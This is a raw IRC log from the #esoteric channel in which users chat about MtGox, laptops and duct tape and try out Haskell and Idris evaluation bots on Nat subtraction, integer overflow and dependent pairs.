host closed the connection < 1394812224 125002 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394812313 189663 :Slereahphone!~slereahph@193.253.170.149 QUIT :Ping timeout: 253 seconds < 1394812494 143159 :Slereahphone!~slereahph@193.253.170.149 JOIN :#esoteric < 1394812847 656555 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394812974 869443 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394812975 835008 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394813586 816645 :nooodl!~nooodl@62.205.81.193 JOIN :#esoteric < 1394814549 931979 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1394815373 822580 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://www.theguardian.com/technology/2014/mar/14/mtgox-knowingly-traded-non-existent-bitcoins-for-two-weeks-filing-shows ha ha < 1394815561 916280 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Fnord < 1394818735 740981 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Read error: Operation timed out < 1394819158 368410 :password2!~password@197.78.163.189 QUIT :Ping timeout: 240 seconds < 1394819354 541497 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394819455 785147 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1394820393 375425 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394820614 130578 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394820639 758070 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394820976 770847 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394821328 943373 :FreeFull!~freefull@host-92-24-45-223.ppp.as43234.net JOIN :#esoteric < 1394821333 484207 :FreeFull!~freefull@host-92-24-45-223.ppp.as43234.net QUIT :Changing host < 1394821333 539658 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394822304 85215 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 PRIVMSG #esoteric :For the dual-screen laptop, it would be nice to reduce the width of the framing down the middle. < 1394823064 674550 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Lenovo sold a W-series ThinkPad with a second smaller screen that pops out the side of the first one < 1394823082 611972 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it also had a Wacom drawing tablet in the wrist rest, as well as a color calibration sensor for the main screen < 1394823443 566857 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :sounds nice, but slightly crazy < 1394824390 510981 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394824928 292890 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1394826804 827845 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Quit: later < 1394827673 685082 :password2!~password@197.78.152.2 JOIN :#esoteric < 1394827904 850457 :password2!~password@197.78.152.2 QUIT :Client Quit < 1394827933 346919 :password2!~password@197.78.152.2 JOIN :#esoteric < 1394827951 971412 :password2!~password@197.78.152.2 QUIT :Client Quit < 1394828049 273236 :password2!~password@197.78.152.2 JOIN :#esoteric < 1394828378 282272 :AnotherTest!~turingcom@94-224-16-121.access.telenet.be QUIT :Ping timeout: 240 seconds < 1394828514 39133 :password2_!~password@197.78.152.2 JOIN :#esoteric < 1394828584 903784 :erdic!erdic@unaffiliated/motley QUIT :Remote host closed the connection < 1394828612 866195 :erdic!erdic@unaffiliated/motley JOIN :#esoteric < 1394828905 280187 :nooodl!~nooodl@62.205.81.193 QUIT :Ping timeout: 240 seconds < 1394829107 908599 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394829443 180507 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394829678 577674 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394830222 300396 :nooodl!~nooodl@91.177.69.110 JOIN :#esoteric < 1394830623 848642 :password2_!~password@197.78.152.2 QUIT :Quit: Leaving < 1394830648 836165 :password2!~password@197.78.152.2 QUIT :Remote host closed the connection < 1394830880 77178 :spiette!~spiette@mtl.savoirfairelinux.net QUIT :Quit: :qa! < 1394831170 558409 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394831298 534080 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394831896 313963 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394831958 329579 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394833332 844939 :von_cheam!~voncheam@host-92-28-185-26.as13285.net JOIN :#esoteric < 1394833357 843389 :von_cheam!~voncheam@host-92-28-185-26.as13285.net QUIT :Quit: Leaving. < 1394833641 329597 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394833714 730751 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394833965 687612 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394834043 973255 :drlemon!~drlemon@cpe-108-185-0-32.socal.res.rr.com JOIN :#esoteric < 1394834111 19092 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394834254 196005 :nooodl_!~nooodl@91.177.69.110 JOIN :#esoteric < 1394834281 184885 :nooodl!~nooodl@91.177.69.110 QUIT :Ping timeout: 240 seconds < 1394834364 187511 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394834452 394976 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394834527 83384 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394834628 906148 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394834630 587253 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394835063 882903 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 QUIT :Ping timeout: 245 seconds < 1394835201 873019 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1394835248 794628 :von_cheam!~voncheam@host-92-28-185-26.as13285.net JOIN :#esoteric < 1394835258 286415 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`relcome von_cheam < 1394835277 161678 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Gregor: the gregorbots, they are dead. < 1394835420 451682 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :fungot: staying alive? < 1394835420 627587 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :FireFly: it's the crown, lass, no sense being angry about it now, and he was in the army, too true, and v's still there now and you can. < 1394835428 277520 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :dubious. < 1394835470 968364 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :FireFly: you're a lass? < 1394835580 297090 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :alas, no answer < 1394835591 803233 :itsy!~digital_w@87.112.13.30 JOIN :#esoteric < 1394835645 485268 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :gørjand kveld. < 1394835656 423092 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :I don't think so < 1394835659 653709 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :No last I checked, anyway < 1394835672 315656 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: he didn't answer while he was having instant surgery. < 1394835687 116119 :nooodl__!~nooodl@91.177.69.110 JOIN :#esoteric < 1394835696 732612 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: fiendish < 1394835716 11427 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :goedenavnooodln. < 1394835733 938859 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boilyn soir < 1394835775 705975 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*boilynsoir < 1394835874 711748 :nooodl_!~nooodl@91.177.69.110 QUIT :Ping timeout: 240 seconds < 1394835983 613804 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: today, I read an old blog post showing how to implement monads in Java. it wasn't pretty. < 1394836233 391202 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :boily: Was it http://logicaltypes.blogspot.fi/2011/09/monads-in-java.html ? < 1394836304 634390 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: it was. < 1394836316 437306 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think that was discussed either here or nearby. < 1394836341 94458 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :are you implying that there are circumesöteric channels? < 1394836387 313543 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I can only find the "Monads in plain JavaScript" post by gwepping. < 1394836537 582296 :von_cheam!~voncheam@host-92-28-185-26.as13285.net PART :#esoteric < 1394836917 746681 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :pretty sure #haskell is a circumesöteric channel, in any case < 1394837074 860219 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The evidence for that is circumstantial. < 1394837106 553990 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's just circumventing the facts < 1394837406 519471 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :aren't you guys just circumnavigating the topic now? < 1394837592 379459 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, throws Failure ... is that the Java-monad counterpart of fail? < 1394837962 756525 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I can't really be bothered to read through it all -- was the Java monad the one where you can't have "Just null", or am I thinking of something else? < 1394838044 265123 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :helloily < 1394838471 535444 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quinthellopia! < 1394838552 275946 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(meanwhile, duck tape with penguins on it? → https://tw-projects.s3.amazonaws.com/twduckbrand/prod/images/products/penguin-duct-tape.jpg) < 1394838587 938846 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: I haven't read through it all, but I wouldn't be surprised. Java nulls are very thoroughly pernicious. < 1394838616 604592 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :there is every kind of duct tape < 1394838637 757523 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i went to buy plain old duct tape at walmart once and could only find spongebob, hello kitty, and bacon < 1394838640 962514 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i went with bacon < 1394838654 115134 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :nooooo! why didn't you choose the hello kitty one? < 1394838718 711498 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I like my duck tape gray. same thing with my coffee: black. < 1394838726 681069 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(and my bagels: poppyseed.) < 1394838733 47219 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394838734 681633 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394838882 529612 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> "please don't kill me oerjan" < 1394838883 689665 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "please don't kill me oerjan" < 1394838884 920156 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04"please don't kill me oerjan" : 12String < 1394838937 655860 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ooooooooh... < 1394838948 505922 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is all sparkly-anime-eyes < 1394839060 363205 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~eval "please don't kill me either twh" < 1394839060 420699 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Error (127): < 1394839070 414036 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :... < 1394839098 55703 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :@messages-public < 1394839098 168285 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1394839102 4206 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :@messages-loud < 1394839102 128685 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :oerjan said 9h 40m 7s ago: please use idris-ircslave's new ( prefix hth < 1394839107 10797 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( 1 + 1 < 1394839107 123280 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :042 : 12Integer < 1394839115 255631 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( Integer + Integer < 1394839115 405104 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Num 12Type < 1394839134 83572 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( S -1 < 1394839134 194666 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't resolve type class 12Num (12Nat -> 12Nat) < 1394839140 995192 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394839142 89297 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( S (-1) < 1394839142 315488 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :041 : 12Nat < 1394839148 403366 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :uh < 1394839152 265123 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :o_0 < 1394839167 377379 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the Nat (-10) < 1394839167 489550 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040 : 12Nat < 1394839168 608798 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Nat' < 1394839171 905498 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oops < 1394839201 321814 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1394839225 602427 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: i prefer black heavy duty duct tape < 1394839266 309592 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( the Nat (2-3) < 1394839266 461767 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :040 : 12Nat < 1394839274 720816 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: what kind of tape is that? the only two kind of black heavy duty tape I know about are «tape électrique» and that textured one you put on hockey sticks. < 1394839277 349161 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( the Int (2-3) < 1394839277 496551 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04-1 : 12Int < 1394839290 185597 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394839291 8233 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( the Int 99999999999999999999999999999999999 < 1394839291 120454 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :043136633892082024447 : 12Int < 1394839292 797127 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(yes. we call it «tape» in French.) < 1394839306 43913 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: it's like duct tape, but black rather than silver, and thicker and tougher and harder to tear < 1394839315 518133 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: we call it "teip" in norwegian hth < 1394839333 490873 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if this could be used to prove 0=1 < 1394839345 770466 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: hmm... my curiosity is titillated. < 1394839357 560074 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: makes sense. < 1394839362 618849 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maybe not, once you have a Nat you always have something 0 or greater < 1394839366 970895 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: you realize that this is just how subtraction is defined on Nats, no? < 1394839375 197575 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What you do before it may be irrelev... o.O < 1394839378 314660 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Sgeo: uh...no. in practice, it's illegal to do 2-3 in the naturals < 1394839381 353561 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I thought Idris was in the wrong < 1394839400 374918 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :> log 3136633892082024447 / log 2 < 1394839400 486856 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :0461.44392285561078 : 12Float < 1394839401 531673 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 61.44392285561078 < 1394839411 899416 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Sgeo: no because the proof would rely on the definition of - < 1394839431 354816 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck 3136633892082024447 < 1394839431 762849 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :3136633892082024447 < 1394839503 394687 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: http://m.shoplet.com/Duck-Heavy-Duty-Duct-Tape/DUCCD3BLACK/ < 1394839549 584462 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run 99999999999999999999999999999999999 :: Int64 < 1394839550 798430 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 3136633892082024447 < 1394839568 608732 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's just mod 2^64 < 1394839583 507006 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can't write a useful {n : Nat} -> Vect n a -> Nat, can I? < 1394839614 226684 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or.. something like that, to determine the size of a Vect whose size is unknown at compile-time? < 1394839652 56427 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Vect < 1394839652 168214 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Prelude.Vect.Vect : 12Nat -> 12Type -> 12Type < 1394839676 468007 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Vect 2 < 1394839676 690200 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Vect (09fromInteger 042) : 12Type -> 12Type < 1394839694 861131 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :t Vect 2 Bool < 1394839694 972449 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Vect (09fromInteger 042) 12Bool : 12Type < 1394839699 160871 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( Vect 2 Bool < 1394839699 272742 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Vect 042 12Bool : 12Type < 1394839723 753618 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: the link, it doesn't work. < 1394839737 211854 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: meh :/ < 1394839748 54157 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I assume that doing that (wanting the size that's known only at runtime) is why dependent pairs exist? < 1394839757 310490 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily: i cut a bunch of stuff off the end of it. try cutting more stuff off < 1394839780 21385 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (Vect n a) [1,2,3] < 1394839781 698071 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:11:No such variable n < 1394839791 622860 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (Vect _ _) [1,2,3] < 1394839791 770583 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04[04104, 04204, 04304] : 12Vect 043 12Integer < 1394839811 455590 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( the Integer 99999999999999999999999999999999999 < 1394839813 398009 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :0499999999999999999999999999999999999 : 12Integer < 1394839824 907614 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (_ ** (Vect _ _)) [1,2,3] < 1394839825 20307 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394839825 131174 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect (04S 13n) 13a < 1394839825 243112 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394839825 300146 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 04(13x 04** 12Vect 13__pi_arg 13__pi_arg104) < 1394839825 300288 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394839837 811846 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (_ ** (Vect _ _)) (_ ** [1,2,3]) < 1394839838 34427 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394839838 91370 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Exists 13a 13P < 1394839838 91510 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394839838 91600 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 04(13x 04** 12Vect 13__pi_arg 13__pi_arg104) < 1394839838 91694 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394839852 518578 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (n ** (Vect n _)) (_ ** [1,2,3]) < 1394839852 743313 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394839873 124715 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (n ** (Vect n _)) (_ ** with Vect [1,2,3]) < 1394839873 384819 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394839873 441048 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect 043 12Integer < 1394839873 441189 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394839873 441280 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : (\13n => 12Vect 13n [__]) 13x < 1394839873 441368 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394839905 706580 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: it still doesn't work. I am saddened :( < 1394839910 482199 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( the (n ** Vect n String) (_ ** ["1", "2", "3"]) < 1394839910 594200 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(043 04** 04[04"1"04, 04"2"04, 04"3"04]04) : 12(13n 12** 12Vect 13n 12String12) < 1394839984 487766 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh < 1394840015 484257 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oerjan: (t ** t)s are useless, right? Or are they not useless somehow < 1394840042 90312 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :how do you find the first element of a ** < 1394840057 565880 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Sgeo: A value whose type is dependent on itself? < 1394840093 583876 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> fst (3 ** [1,2,3]) < 1394840093 696278 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394840093 808601 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Exists 13a 13P < 1394840093 865043 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394840093 865229 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12(13iType12, 13t12) < 1394840093 865321 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394840094 633913 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Couldn't match expected type `(a0, b0)' with actual type `[t0]' < 1394840107 826437 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :> head (3 ** [1,2,3]) < 1394840108 50468 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394840108 108114 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Exists 13a 13P < 1394840108 108277 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394840108 108369 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12Vect (04S 13n) 13iType < 1394840108 108464 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1394840108 945777 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (GHC.Show.Show a0) < 1394840109 168806 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from a use of `M707592794521593570827224.show_M7075927945215935708... < 1394840109 225589 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : The type variable `a0' is ambiguous < 1394840109 225736 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: add a type signature that fixes these type variable(s) < 1394840109 225828 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Note: there are several potential instances: < 1394840120 779989 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( (\v -> let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3] < 1394840121 25801 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:58:No such variable \ < 1394840121 760651 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Oh, lambdabot + idris-ircslave < 1394840133 230364 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops how do lambdas work < 1394840154 385163 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( sin < 1394840154 496791 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09sin : 12Float -> 12Float < 1394840163 49101 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :oerjan: => rather than -> < 1394840166 68454 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394840171 441593 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( (\v => let (n ** _) = the (m ** Vect m _) (_ ** v) in n) [1,2,3] < 1394840174 200149 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:58:Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.:: < 1394840186 110957 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1394840200 306109 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Why ( and not )? < 1394840201 691918 :oerjan!oerjan@sprocket.nvg.ntnu.no 